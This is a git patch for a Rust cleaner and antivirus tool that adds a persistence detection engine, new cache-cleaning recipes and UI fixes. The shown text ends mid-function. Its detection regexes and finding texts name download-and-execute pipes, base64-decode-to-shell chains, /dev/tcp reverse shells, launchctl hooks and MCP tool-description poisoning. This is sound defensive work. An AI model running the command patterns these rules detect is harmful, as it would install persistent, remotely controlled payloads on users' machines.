From b604e3dd3415a519c8df79ce647f7d3129b42134 Mon Sep 17 00:00:00 2001 From: ibnbd <2509519+ibnbd@users.noreply.github.com> Date: Sun, 25 Oct 2026 17:05:07 +0000 Subject: [PATCH 1/9] Add persistence AV engine, host persistence targets, and Security removal Bugs 2-6 from the 0.3.5 list, plus scanner coverage and the background resource helper. Antivirus - New `persistence` engine (10th): inspects launchd plists, shell startup files, cron drops, and systemd user units for payloads that run again later. Fires only on the payload (temp/hidden executables, download-exec, decode-exec, launchctl load, @reboot beacons), never on existence. - New `SecurityTargetKind::HostPersistence` so the engine sees real host state: ~/Library/LaunchAgents, ~/.config/systemd/user, and the shell-rc names in $HOME. Those rows are deliberately not removable, and get an "edit the line, not the file" remedy. Security removal (both UIs, same policy) - `SecurityRemoval` in cleanton-engine is now the single source of truth for which flagged packages are removable and how. The Slint app and the TUI both drive it, so they cannot disagree. - Slint: two-step arm/confirm/cancel, npm/pip via PackageManagers, else the executor's reviewed Trash path. ActionButton gains a `danger` tint. - TUI: [r] arms, [y] runs, [n] cancels; moving the cursor disarms. Background helper - Fix the whitespace-mangled disk/memory suggestions. A pressure event now names the top-3 reclaimable directories plus the Trash, measured against a 20k-entry budget so the walk can never stall the watcher. Recipes (141 -> 153) - 22 macOS-only recipes gain Linux ~/.cache alternatives. - 12 new: Edge/Brave/Vivaldi HTTP caches, Discord, node bundler caches, thumbnails, Trivy/Grype/Snyk, apt/snap/flatpak, Helm, Firebase emulators, Nim, Dune. All documented in doc/RECIPES.md. Slint fixes - Centring uses cross-axis-alignment (1.17) or a wrapper layout; `cross-axis-self-alignment` does not exist until Slint 1.18 and the tree pins 1.17.1. - Transient spinners/activity bar are conditional `if`, not `visible:false` (which still occupies layout). - Duplicate sets render per-copy rows with a set header, capped. Version 0.3.5. `scripts/check-ui-copy.py` guards user-visible copy and is wired into CI. Co-authored-by: arena-agent <297053741+arena-agent@users.noreply.github.com> --- .github/workflows/ci.yml | 13 + Cargo.lock | 22 +- Cargo.toml | 2 +- .../src/engines/binary_indicators.rs | 4 +- .../cleanton-antivirus/src/engines/entropy.rs | 2 +- crates/cleanton-antivirus/src/engines/ioc.rs | 10 +- .../src/engines/mcp_descriptor.rs | 2 +- crates/cleanton-antivirus/src/engines/mod.rs | 3 + .../src/engines/persistence.rs | 1161 +++++++++++++++++ .../cleanton-antivirus/src/engines/rules.rs | 22 +- .../src/engines/script_behavior.rs | 24 +- .../src/engines/supply_chain.rs | 8 +- .../src/engines/worm_propagation.rs | 16 +- crates/cleanton-antivirus/src/lib.rs | 3 +- crates/cleanton-antivirus/src/scanner.rs | 2 +- .../cleanton-antivirus/tests/integration.rs | 3 +- crates/cleanton-app/src/main.rs | 342 ++++- crates/cleanton-app/ui/app.slint | 202 ++- crates/cleanton-app/ui/widgets.slint | 112 +- crates/cleanton-engine/src/background.rs | 139 +- crates/cleanton-engine/src/lib.rs | 6 +- crates/cleanton-engine/src/security.rs | 226 +++- crates/cleanton-recipes/src/builtin.rs | 48 + crates/cleanton-ui/src/app.rs | 9 + crates/cleanton-ui/src/lib.rs | 164 ++- crates/cleanton-ui/src/screens/results.rs | 20 + crates/cleanton-ui/src/screens/security.rs | 90 +- doc/RECIPES.md | 119 ++ recipes/ai-copilot-cache.toml | 18 +- recipes/android-studio-caches.toml | 15 +- recipes/apps-discord-cache.toml | 33 + recipes/apps-slack-cache.toml | 11 +- recipes/apps-spotify-cache.toml | 16 +- recipes/apps-zoom-cache.toml | 16 +- recipes/browser-brave-http-cache.toml | 34 + recipes/browser-edge-http-cache.toml | 35 + recipes/browser-firefox-cache.toml | 16 +- recipes/browser-vivaldi-http-cache.toml | 34 + recipes/firebase-emulator-cache.toml | 33 + recipes/go-build-cache.toml | 15 +- recipes/go-golangci-lint-cache.toml | 15 +- recipes/helm-kubernetes-caches.toml | 32 + recipes/ide-jetbrains-caches.toml | 15 +- recipes/ide-zed-cache.toml | 15 +- recipes/jvm-coursier-cache.toml | 16 +- recipes/nim-cache.toml | 31 + recipes/node-bundler-caches.toml | 47 + recipes/node-cypress-cache.toml | 16 +- recipes/node-deno-cache.toml | 14 +- recipes/node-electron-caches.toml | 22 +- recipes/node-gyp-cache.toml | 15 +- recipes/node-playwright-browsers.toml | 16 +- recipes/node-yarn-classic-cache.toml | 15 +- recipes/ocaml-dune-cache.toml | 31 + recipes/php-composer-cache.toml | 16 +- recipes/python-pip-cache.toml | 15 +- recipes/python-poetry-cache.toml | 16 +- recipes/swift-tuist-cache.toml | 15 +- recipes/system-package-manager-caches.toml | 39 + recipes/system-security-scanner-caches.toml | 51 + recipes/system-thumbnail-cache.toml | 33 + recipes/vm-lima-cache.toml | 18 +- scripts/check-ui-copy.py | 168 +++ 63 files changed, 3513 insertions(+), 208 deletions(-) create mode 100644 crates/cleanton-antivirus/src/engines/persistence.rs create mode 100644 recipes/apps-discord-cache.toml create mode 100644 recipes/browser-brave-http-cache.toml create mode 100644 recipes/browser-edge-http-cache.toml create mode 100644 recipes/browser-vivaldi-http-cache.toml create mode 100644 recipes/firebase-emulator-cache.toml create mode 100644 recipes/helm-kubernetes-caches.toml create mode 100644 recipes/nim-cache.toml create mode 100644 recipes/node-bundler-caches.toml create mode 100644 recipes/ocaml-dune-cache.toml create mode 100644 recipes/system-package-manager-caches.toml create mode 100644 recipes/system-security-scanner-caches.toml create mode 100644 recipes/system-thumbnail-cache.toml create mode 100755 scripts/check-ui-copy.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 919076f..3af2e25 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -85,6 +85,19 @@ jobs: path: packaging/dist/ if-no-files-found: error + copy: + name: User-visible copy (no em dashes) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Reject em dashes in rendered copy + run: python3 scripts/check-ui-copy.py + audit: name: cargo audit (required) runs-on: ubuntu-latest diff --git a/Cargo.lock b/Cargo.lock index e2a97b1..104be29 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1148,7 +1148,7 @@ checksum = "1c133bc6a41be0d194c306b5506d15e6feeea7b1d6604bd3f8310dfb2ca96486" [[package]] name = "cleanton-antivirus" -version = "0.3.4" +version = "0.3.5" dependencies = [ "base64 0.22.1", "flate2", @@ -1170,7 +1170,7 @@ dependencies = [ [[package]] name = "cleanton-app" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "cleanton-engine", @@ -1188,7 +1188,7 @@ dependencies = [ [[package]] name = "cleanton-cli" -version = "0.3.4" +version = "0.3.5" dependencies = [ "clap", "cleanton-common", @@ -1206,7 +1206,7 @@ dependencies = [ [[package]] name = "cleanton-common" -version = "0.3.4" +version = "0.3.5" dependencies = [ "chrono", "humansize", @@ -1221,7 +1221,7 @@ dependencies = [ [[package]] name = "cleanton-engine" -version = "0.3.4" +version = "0.3.5" dependencies = [ "bollard", "chrono", @@ -1244,7 +1244,7 @@ dependencies = [ [[package]] name = "cleanton-ml" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "serde", @@ -1256,7 +1256,7 @@ dependencies = [ [[package]] name = "cleanton-packages" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "serde", @@ -1268,7 +1268,7 @@ dependencies = [ [[package]] name = "cleanton-recipes" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "glob", @@ -1280,7 +1280,7 @@ dependencies = [ [[package]] name = "cleanton-scanner" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "glob", @@ -1294,7 +1294,7 @@ dependencies = [ [[package]] name = "cleanton-services" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "plist", @@ -1307,7 +1307,7 @@ dependencies = [ [[package]] name = "cleanton-ui" -version = "0.3.4" +version = "0.3.5" dependencies = [ "cleanton-common", "cleanton-engine", diff --git a/Cargo.toml b/Cargo.toml index 8d32981..f5bbe82 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -15,7 +15,7 @@ members = [ ] [workspace.package] -version = "0.3.4" +version = "0.3.5" edition = "2024" rust-version = "1.99.1" license = "MIT OR Apache-2.0" diff --git a/crates/cleanton-antivirus/src/engines/binary_indicators.rs b/crates/cleanton-antivirus/src/engines/binary_indicators.rs index a3185d3..27dd7db 100644 --- a/crates/cleanton-antivirus/src/engines/binary_indicators.rs +++ b/crates/cleanton-antivirus/src/engines/binary_indicators.rs @@ -442,7 +442,7 @@ fn check_windows_apis(strings: &[Vec], path: &str) -> Vec { Severity::High, Confidence::High, "LoadLibrary + GetProcAddress pairing", - "Binary uses LoadLibrary paired with GetProcAddress — common for runtime import \ + "Binary uses LoadLibrary paired with GetProcAddress: common for runtime import \ hiding and reflective DLL injection.", ) .with_rule_id("BIN_WIN_LOADLIB_GETPROC") @@ -548,7 +548,7 @@ fn check_reverse_shell_triad(strings: &[Vec], path: &str) -> Option Severity::High, Confidence::Medium, "Reverse-shell function triad", - "Binary contains socket/connect/dup2 — the canonical POSIX reverse-shell triad.", + "Binary contains socket/connect/dup2: the canonical POSIX reverse-shell triad.", ) .with_rule_id("BIN_POSIX_REVERSE_SHELL_TRIAD") .with_location(FileLocation::file(path)) diff --git a/crates/cleanton-antivirus/src/engines/entropy.rs b/crates/cleanton-antivirus/src/engines/entropy.rs index 247a91e..2104188 100644 --- a/crates/cleanton-antivirus/src/engines/entropy.rs +++ b/crates/cleanton-antivirus/src/engines/entropy.rs @@ -752,7 +752,7 @@ module.exports = { greet }; .collect(); // Pad the source above MIN_FILE_SIZE (512) with a realistic-looking // preamble so the size gate is cleared. - let preamble = "# Shellcode loader — extracted from malware sample\n\ + let preamble = "# Shellcode loader: extracted from malware sample\n\ import struct\nimport ctypes\nimport sys\n\ # Decode and run embedded shellcode\n\ # fmt: off\n"; diff --git a/crates/cleanton-antivirus/src/engines/ioc.rs b/crates/cleanton-antivirus/src/engines/ioc.rs index 5bd8054..81397d9 100644 --- a/crates/cleanton-antivirus/src/engines/ioc.rs +++ b/crates/cleanton-antivirus/src/engines/ioc.rs @@ -357,7 +357,7 @@ impl IocEngine { Confidence::High, "ICP blockchain canister C2 endpoint", "A reference to an Internet Computer Protocol (ICP) canister gateway \ -(*.icp0.io / *.ic0.app) was found. These endpoints are censorship-resistant — \ +(*.icp0.io / *.ic0.app) was found. These endpoints are censorship-resistant: \ no domain takedown is possible. Used by CanisterWorm and CanisterSprawl as C2.", ) .with_rule_id("IOC_ICP_CANISTER") @@ -451,7 +451,7 @@ exfil endpoint.", "Hardcoded Telegram bot token or SMTP exfil credential", "A hardcoded Telegram bot token (long-form) or Mailtrap SMTP address \ was found. In supply-chain packages these are always attacker-controlled exfil \ -channels — used by Flashbots typosquats, SeedSweep, WhiteSnake, and W4SP.", +channels: used by Flashbots typosquats, SeedSweep, WhiteSnake, and W4SP.", ) .with_rule_id("IOC_HARDCODED_SMTP_TELEGRAM") .with_location(FileLocation::at_line(file.rel_path.clone(), line)) @@ -587,7 +587,7 @@ key used to authenticate DNS beacons, or the anti-re-execution env var `__ntw`." Severity::Critical, Confidence::High, "CanisterSprawl exfil endpoint", - "An exfil endpoint from the CanisterSprawl campaign was found — the \ + "An exfil endpoint from the CanisterSprawl campaign was found: the \ first cross-ecosystem npm to PyPI worm. Either the secondary exfil domain \ `telemetry.api-monitor.com` or the specific ICP canister URL were matched.", ) @@ -809,7 +809,7 @@ and clipboard-hijack malware targeting USDT/USDC.", Confidence::High, "Clipboard wallet-hijack pattern", "Code reads clipboard content (or uses pyperclip.paste/copy) and \ -replaces it with a hardcoded wallet address — a defining pattern of \ +replaces it with a hardcoded wallet address: a defining pattern of \ clipboard-hijacking crypto-stealers.", ) .with_rule_id("IOC_CLIPBOARD_HIJACK") @@ -2001,7 +2001,7 @@ if looks_like_wallet(addr): #[test] fn fp2_patreon_url_not_flagged() { - let content = "https://www.patreon.com/myproject — become a patron!"; + let content = "https://www.patreon.com/myproject: become a patron!"; let findings = scan_single("FUNDING.md", content, FileKind::Text); let concerning: Vec<_> = findings .iter() diff --git a/crates/cleanton-antivirus/src/engines/mcp_descriptor.rs b/crates/cleanton-antivirus/src/engines/mcp_descriptor.rs index 9195e7f..9a3d16c 100644 --- a/crates/cleanton-antivirus/src/engines/mcp_descriptor.rs +++ b/crates/cleanton-antivirus/src/engines/mcp_descriptor.rs @@ -881,7 +881,7 @@ impl McpDescriptorEngine { ThreatCategory::Exfiltration, Severity::Critical, Confidence::High, - "MCP description poison combination — multiple attack signals co-present (MCP_DESC_POISON_COMBO)", + "MCP description poison combination: multiple attack signals co-present (MCP_DESC_POISON_COMBO)", "Two or more high-confidence MCP attack markers co-occur in the same content: \ override/imperative language AND (credential exfil directive OR approval/config \ disable). This combination is the definitive indicator of MCP tool description \ diff --git a/crates/cleanton-antivirus/src/engines/mod.rs b/crates/cleanton-antivirus/src/engines/mod.rs index b484229..3859a43 100644 --- a/crates/cleanton-antivirus/src/engines/mod.rs +++ b/crates/cleanton-antivirus/src/engines/mod.rs @@ -8,6 +8,7 @@ pub mod entropy; pub mod hashdb; pub mod ioc; pub mod mcp_descriptor; +pub mod persistence; pub mod rules; pub mod script_behavior; pub mod supply_chain; @@ -19,6 +20,7 @@ pub use entropy::EntropyEngine; pub use hashdb::HashSignatureEngine; pub use ioc::IocEngine; pub use mcp_descriptor::McpDescriptorEngine; +pub use persistence::PersistenceEngine; pub use rules::RuleEngine; pub use script_behavior::ScriptBehaviorEngine; pub use supply_chain::SupplyChainEngine; @@ -35,6 +37,7 @@ pub fn default_engines() -> Vec> { Box::new(RuleEngine), Box::new(McpDescriptorEngine), Box::new(WormPropagationEngine), + Box::new(PersistenceEngine), Box::new(EntropyEngine), Box::new(IocEngine), Box::new(ScriptBehaviorEngine), diff --git a/crates/cleanton-antivirus/src/engines/persistence.rs b/crates/cleanton-antivirus/src/engines/persistence.rs new file mode 100644 index 0000000..0cbaad9 --- /dev/null +++ b/crates/cleanton-antivirus/src/engines/persistence.rs @@ -0,0 +1,1161 @@ +//! Persistence detection engine. +//! +//! Every other engine answers "is this *code* malicious?" This one answers a +//! different question: **has something already made itself at home on this +//! machine?** It inspects the small, well-known set of files whose only job is +//! to run something again later, and reports the ones whose payload is +//! suspicious: +//! +//! - `~/Library/LaunchAgents/*.plist` and `~/Library/LaunchDaemons/*.plist` +//! (the primary macOS per-user persistence mechanism), +//! - shell startup files (`.zshrc`, `.bashrc`, `.bash_profile`, `.profile`, +//! `.zlogin`, …), +//! - `crontab` files and `cron.d`/`cron.{hourly,daily,weekly,monthly}` drops, +//! - systemd user units under `~/.config/systemd/user/`. +//! +//! The engine is pure with respect to the filesystem like every other engine: +//! it never opens a file, it only reads the [`crate::engine::FileUnit`]s the +//! loader already collected. Classification is therefore driven by the unit's +//! `rel_path`, which is exactly what the loader records when it walks a home +//! directory. +//! +//! ## Why the signal is high-value +//! +//! Worms and RATs (the campaigns in `worm_propagation.rs`, BeaverTail, the +//! Shai-Hulud family) all follow the same shape: drop a payload somewhere +//! hidden, then make sure it runs again after a reboot. That second half lands +//! in one of the four file families above, and until now nothing looked at +//! them. A worm whose payload was already cleaned up still leaves the hook +//! behind; this engine finds the hook. +//! +//! ## False-positive control +//! +//! Persistence files are noisy by nature: a completely benign LaunchAgent also +//! lives in `~/Library/LaunchAgents`. So this engine never fires on +//! *existence*, only on the payload: +//! +//! - the executable lives in a temporary or dot-prefixed directory, +//! - the arguments download and execute something, +//! - the arguments decode (base64/hex) and execute something, +//! - the file installs another persistence hook (`launchctl load`), +//! - a cron entry marked `@reboot` runs a payload from a hidden directory. +//! +//! Comments are skipped, and each rule fires at most +//! [`MAX_FINDINGS_PER_RULE`] times per file so one poisoned `.zshrc` cannot +//! flood a report. + +use std::sync::OnceLock; + +use regex::Regex; + +use crate::engine::{DetectionEngine, FileUnit, ScanContext}; +use crate::engine::scan_window; +use crate::types::{Confidence, FileLocation, Finding, Severity, ThreatCategory}; + +/// Engine name stamped into every finding and reported in [`EngineStat`]. +/// +/// [`EngineStat`]: crate::types::EngineStat +const ENGINE: &str = "persistence"; + +/// Cap on how many times a single rule may fire inside one file. +const MAX_FINDINGS_PER_RULE: usize = 3; + +/// Text window (bytes) analyzed per file. The files this engine targets are +/// kilobytes at most, so the cap only bounds a pathological `.zshrc`. +const SCAN_WINDOW_BYTES: usize = 512 * 1024; + +/// Per-file, per-rule emission counter. +#[derive(Debug, Default)] +struct RuleBudget { + counts: Vec<(&'static str, usize)>, +} + +impl RuleBudget { + /// Record an emission; `false` once this rule has hit the cap for the file. + fn allow(&mut self, rule: &'static str) -> bool { + let slot = self + .counts + .iter_mut() + .find(|(name, _)| *name == rule); + match slot { + Some((_, count)) if *count >= MAX_FINDINGS_PER_RULE => false, + Some((_, count)) => { + *count += 1; + true + } + None => { + self.counts.push((rule, 1)); + true + } + } + } +} + +// --------------------------------------------------------------------------- +// Regex helpers — compiled once +// --------------------------------------------------------------------------- + +struct Patterns { + /// `Label…` in a launchd plist. + plist_label: Regex, + /// `Program…` (the single-argument form). + plist_program: Regex, + /// `ProgramArguments…` (the modern form). + plist_program_arguments: Regex, + /// One `…` entry. + plist_string: Regex, + /// `RunAtLoad`. + plist_run_at_load: Regex, + + /// Download-then-execute: `curl … | sh`, `bash <(curl …)`, `wget -O- | bash`. + download_exec: Regex, + /// Decode-then-execute: `base64 -d | sh`, `eval $(echo … | base64 -d)`. + decode_exec: Regex, + /// `launchctl load|bootstrap|submit` (installing another hook). + launchctl_install: Regex, + /// `nohup`/`setsid`/`disown` … trailing `&`. + background_exec: Regex, + /// A cron schedule field (anything before the command), captured so the + /// command portion can be inspected on its own. + cron_schedule: Regex, + /// `ExecStart` / `ExecStartPre` / `ExecStartPost` in a systemd unit. + systemd_exec: Regex, + /// A whitespace/comment-only line, or a leading `#` comment. + skippable_line: Regex, +} + +impl Patterns { + fn build() -> Self { + // NOTE: every `.expect()` is on a hardcoded literal; a bad literal is a + // programmer error caught by the unit tests, not a runtime condition. + Self { + plist_label: plist_key("Label"), + plist_program: plist_key("Program"), + plist_program_arguments: Regex::new( + r"(?s)ProgramArguments\s*(.*?)", + ) + .expect("invariant: plist ProgramArguments regex"), + plist_string: Regex::new(r"(?s)(.*?)") + .expect("invariant: plist string regex"), + plist_run_at_load: Regex::new(r"(?s)RunAtLoad\s*") + .expect("invariant: plist RunAtLoad regex"), + + download_exec: Regex::new( + r"(?ix) + (?: \b(?:curl|wget)\b[^|\n]{0,200}\|\s*(?:sudo\s+)?(?:[\w/.-]*/)?(?:ba|da|z|fi|k)?sh\b + | \b(?:ba|z|fi|k)?sh\b\s*<\(\s*(?:curl|wget)\b + | \bpython[23]?\b\s*<\(\s*(?:curl|wget)\b + | \b(?:curl|wget)\b[^|\n]{0,200}\|\s*(?:sudo\s+)?\bpython[23]?\b + )", + ) + .expect("invariant: download-exec regex"), + + decode_exec: Regex::new( + r"(?ix) + (?: \bb(?:ase)?(?:32|64)\b\s*(?:-d|--decode|-D)\b[^|\n]{0,120}\|\s*(?:[\w/.-]*/)?(?:ba|z|fi|k)?sh\b + | \beval\s+[\"']?\$\(\s*(?:echo|printf)\b[^)]{0,200}\|\s*(?:[\w/.-]*/)?b(?:ase)?(?:32|64)\b\s*(?:-d|--decode|-D)\b + | \bxxd\s+-r\s+-p\b[^|\n]{0,120}\|\s*(?:[\w/.-]*/)?(?:ba|z|fi|k)?sh\b + | \beval\s+[\"']?\$\(\s*(?:echo|printf)\b[^\n]{0,200}\\x[0-9a-f]{2} + )", + ) + .expect("invariant: decode-exec regex"), + + launchctl_install: Regex::new( + r"(?i)\blaunchctl\s+(?:load|bootstrap|submit|enable)\b", + ) + .expect("invariant: launchctl install regex"), + + background_exec: Regex::new(r"(?i)\b(?:nohup|setsid|disown)\b") + .expect("invariant: background exec regex"), + + cron_schedule: Regex::new( + r"^\s*(?:@(?:reboot|yearly|annually|monthly|weekly|daily|hourly)\b|(?:\S+\s+){5})(.*)$", + ) + .expect("invariant: cron schedule regex"), + + systemd_exec: Regex::new(r"(?im)^\s*ExecStart(?:Pre|Post)?\s*=\s*(.+)$") + .expect("invariant: systemd exec regex"), + + skippable_line: Regex::new(r"^\s*(?:#.*)?$").expect("invariant: blank/comment regex"), + } + } +} + +/// Build `NAME…` with the value captured verbatim. +fn plist_key(name: &str) -> Regex { + Regex::new(&format!(r"(?s){name}\s*(.*?)")) + .expect("invariant: plist key regex") +} + +fn patterns() -> &'static Patterns { + static PATTERNS: OnceLock = OnceLock::new(); + PATTERNS.get_or_init(Patterns::build) +} + +// --------------------------------------------------------------------------- +// Target classification +// --------------------------------------------------------------------------- + +/// Which family of persistence file a unit belongs to. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum TargetKind { + /// A launchd job definition (`~/Library/Launch{Agents,Daemons}/*.plist`). + LaunchAgent, + /// A shell startup file (`.zshrc`, `.bashrc`, `.profile`, …). + ShellStartup, + /// A crontab or a `cron.d` style drop-in. + Crontab, + /// A systemd user unit (`~/.config/systemd/user/*.service`). + SystemdUnit, +} + +/// Shell startup files whose basename marks them as per-login/per-shell hooks. +const SHELL_STARTUP_NAMES: &[&str] = &[ + ".zshrc", + ".zprofile", + ".zlogin", + ".zshenv", + ".bashrc", + ".bash_profile", + ".bash_login", + ".bash_logout", + ".profile", + ".shrc", + ".cshrc", + ".tcshrc", + ".kshrc", + ".login", + ".logout", + ".envrc", +]; + +/// Classify a unit by its path, returning `None` when it is not a persistence +/// file. Paths are compared case-insensitively because the loader preserves +/// whatever the filesystem recorded. +fn classify(path: &str) -> Option { + let normalized: String = path.replace('\\', "/"); + let lower = normalized.to_ascii_lowercase(); + let basename = lower.rsplit('/').next().unwrap_or(&lower); + + if lower.contains("library/launchagents/") || lower.contains("library/launchdaemons/") { + if basename.ends_with(".plist") { + return Some(TargetKind::LaunchAgent); + } + return None; + } + + // NOTE: the containment checks deliberately omit a leading `/`. `rel_path` + // is relative to whatever root the loader scanned (a home directory, a + // package), so it may or may not start with one. + if SHELL_STARTUP_NAMES.contains(&basename) || lower.contains("etc/profile.d/") { + return Some(TargetKind::ShellStartup); + } + + if basename == "crontab" + || basename == "cron" + || lower.contains("var/spool/cron/") + || lower.contains("etc/cron.") + || lower.contains("etc/cron.d/") + { + return Some(TargetKind::Crontab); + } + + if lower.contains("systemd/user/") && basename.ends_with(".service") { + return Some(TargetKind::SystemdUnit); + } + + None +} + +/// Dot-directories that are the NORMAL home for user-installed tooling. A +/// launchd job or cron entry whose executable lives under one of these is +/// ordinary (`~/.local/bin/foo`, `~/.cargo/bin/bar`), so hiding there is not by +/// itself evidence of anything. Only a hidden directory *below* or *outside* +/// these is. +const BENIGN_DOT_DIRS: &[&str] = &[ + ".local", + ".config", + ".cache", + ".cargo", + ".rustup", + ".nvm", + ".npm", + ".nix-profile", + ".deno", + ".pyenv", + ".rbenv", + ".asdf", + ".volta", + ".fnm", + ".sdkman", + ".brew", +]; + +/// `true` when an executable path lives somewhere a legitimately installed +/// launchd job does not: a temporary directory, or inside a dot-prefixed +/// (hidden) directory that is not one of the ordinary tooling roots above. +fn is_suspicious_exec_path(path: &str) -> bool { + let trimmed = path.trim().trim_matches(|c| c == '"' || c == '\''); + if trimmed.is_empty() { + return false; + } + let lower = trimmed.to_ascii_lowercase(); + for prefix in [ + "/tmp/", + "/var/tmp/", + "/private/tmp/", + "/private/var/tmp/", + "/dev/shm/", + "$tmpdir", + "${tmpdir}", + "%tmp%", + ] { + if lower.starts_with(prefix) { + return true; + } + } + // Hidden directory components, skipping the leading empty component (from a + // rooted path), `.`/`..`, and, crucially, the per-user root itself: on + // macOS and Linux the third component is the home directory + // (`/Users/me`, `/home/u`), so dot-directories are only meaningful from the + // fourth component onwards. + lower + .split('/') + .enumerate() + .skip(3) + .filter(|(_, component)| { + !component.is_empty() && *component != "." && *component != ".." + }) + .any(|(_, component)| { + component.starts_with('.') && !BENIGN_DOT_DIRS.contains(&component) + }) +} + +/// The first whitespace-delimited token of `line` that looks like a path. +fn first_path_token(line: &str) -> Option<&str> { + line.split_whitespace() + .map(|token| token.trim_matches(|c| c == '"' || c == '\'')) + .find(|token| { + token.starts_with('/') || token.starts_with("./") || token.starts_with("~/") + }) +} + +/// Interpreters that can run a script handed to them inline with `-c` / `-e`. +const INLINE_INTERPRETERS: &[&str] = &[ + "sh", "bash", "zsh", "dash", "fish", "ksh", "python", "python2", "python3", "perl", "ruby", + "node", "osascript", "php", +]; + +/// `true` when `executable` is an interpreter invoked with an inline script +/// (`-c` / `-e`) whose body does something overtly malicious. +fn is_inline_script_exec(executable: &str, args: &[String]) -> bool { + let basename = executable + .rsplit('/') + .next() + .unwrap_or(executable) + .to_ascii_lowercase(); + if !INLINE_INTERPRETERS.contains(&basename.as_str()) { + return false; + } + let has_inline_flag = args + .iter() + .any(|arg| arg == "-c" || arg == "-e" || arg == "-ec" || arg == "-c-"); + if !has_inline_flag { + return false; + } + let body = args.join(" "); + let patterns = patterns(); + patterns.download_exec.is_match(&body) + || patterns.decode_exec.is_match(&body) + || body.contains("/dev/tcp/") + || is_suspicious_exec_path(first_path_token(&body).unwrap_or("")) +} + +// --------------------------------------------------------------------------- +// Engine +// --------------------------------------------------------------------------- + +/// Detects persistence hooks that run a suspicious payload. See the module docs +/// for the full rationale and the false-positive controls. +pub struct PersistenceEngine; + +impl DetectionEngine for PersistenceEngine { + fn name(&self) -> &'static str { + ENGINE + } + + fn scan(&self, ctx: &ScanContext<'_>) -> Vec { + let patterns = patterns(); + let mut findings = Vec::new(); + + for file in ctx.files { + let Some(kind) = classify(&file.rel_path) else { + continue; + }; + if file.is_empty() || !file.looks_textual() { + continue; + } + let text = scan_window(file.text_lossy(), SCAN_WINDOW_BYTES); + let mut budget = RuleBudget::default(); + + match kind { + TargetKind::LaunchAgent => scan_launch_agent(file, &text, patterns, &mut budget, &mut findings), + TargetKind::ShellStartup => scan_shell_startup(file, &text, patterns, &mut budget, &mut findings), + TargetKind::Crontab => scan_crontab(file, &text, patterns, &mut budget, &mut findings), + TargetKind::SystemdUnit => scan_systemd_unit(file, &text, patterns, &mut budget, &mut findings), + } + } + + findings + } +} + +// --------------------------------------------------------------------------- +// launchd plists +// --------------------------------------------------------------------------- + +/// One parsed launchd job definition. +#[derive(Debug, Default)] +struct LaunchdJob { + label: Option, + program: Option, + arguments: Vec, + run_at_load: bool, +} + +impl LaunchdJob { + /// The executable launchd would run: the `Program` key, else argument zero. + fn executable(&self) -> Option<&str> { + self.program + .as_deref() + .or_else(|| self.arguments.first().map(String::as_str)) + } +} + +/// Parse a launchd plist. Returns `None` for a binary plist (`bplist00`) and +/// for any document without a `Program` / `ProgramArguments` key, since those +/// cannot execute anything on their own. +fn parse_launchd_plist(text: &str) -> Option { + if text.trim_start().starts_with("bplist00") { + return None; + } + let patterns = patterns(); + let mut job = LaunchdJob { + label: patterns + .plist_label + .captures(text) + .and_then(|caps| caps.get(1)) + .map(|m| m.as_str().to_owned()), + program: patterns + .plist_program + .captures(text) + .and_then(|caps| caps.get(1)) + .map(|m| m.as_str().to_owned()), + arguments: Vec::new(), + run_at_load: patterns.plist_run_at_load.is_match(text), + }; + + if let Some(array) = patterns + .plist_program_arguments + .captures(text) + .and_then(|caps| caps.get(1)) + { + job.arguments = patterns + .plist_string + .captures_iter(array.as_str()) + .filter_map(|caps| caps.get(1)) + .map(|m| m.as_str().to_owned()) + .collect(); + } + + if job.program.is_none() && job.arguments.is_empty() { + return None; + } + Some(job) +} + +fn scan_launch_agent( + file: &FileUnit, + text: &str, + patterns: &Patterns, + budget: &mut RuleBudget, + findings: &mut Vec, +) { + let Some(job) = parse_launchd_plist(text) else { + return; + }; + let Some(executable) = job.executable() else { + return; + }; + let joined = match job.program.as_deref() { + Some(program) => { + let mut all = Vec::with_capacity(job.arguments.len() + 1); + all.push(program.to_owned()); + all.extend(job.arguments.iter().cloned()); + all.join(" ") + } + None => job.arguments.join(" "), + }; + let label = job.label.as_deref().unwrap_or("(unnamed)"); + + if patterns.download_exec.is_match(&joined) { + if budget.allow("PERSIST_LAUNCHD_DOWNLOAD_EXEC") { + findings.push(finding( + "PERSIST_LAUNCHD_DOWNLOAD_EXEC", + ThreatCategory::CommandExecution, + Severity::Critical, + Confidence::High, + "Launch agent downloads and executes remote code", + &format!( + "The launchd job {label} runs a download-and-pipe chain (`curl`/`wget` piped into a shell or interpreter) instead of a fixed binary. Every time the job fires it fetches fresh instructions, so the payload can change after review. This is the persistence half of a worm infection." + ), + file, + None, + &joined, + )); + } + return; + } + + if patterns.decode_exec.is_match(&joined) { + if budget.allow("PERSIST_LAUNCHD_DECODE_EXEC") { + findings.push(finding( + "PERSIST_LAUNCHD_DECODE_EXEC", + ThreatCategory::Obfuscation, + Severity::Critical, + Confidence::High, + "Launch agent decodes and executes an embedded payload", + &format!( + "The launchd job {label} pipes an encoded blob (base32/base64/hex) into a shell. Encoding the payload hides it from signature scanning while leaving the job itself in plain sight in LaunchAgents." + ), + file, + None, + &joined, + )); + } + return; + } + + if is_inline_script_exec(executable, &job.arguments) { + if budget.allow("PERSIST_LAUNCHD_INLINE_SCRIPT") { + findings.push(finding( + "PERSIST_LAUNCHD_INLINE_SCRIPT", + ThreatCategory::CommandExecution, + Severity::High, + Confidence::Medium, + "Launch agent runs an inline script with a suspicious body", + &format!( + "The launchd job {label} runs {executable} with an inline script (`-c`/`-e`) whose body downloads, decodes, or reads from a hidden or temporary directory. Benign agents usually run a fixed binary inside an app bundle." + ), + file, + None, + &joined, + )); + } + return; + } + + if is_suspicious_exec_path(executable) { + let (severity, rule) = if job.run_at_load { + (Severity::Critical, 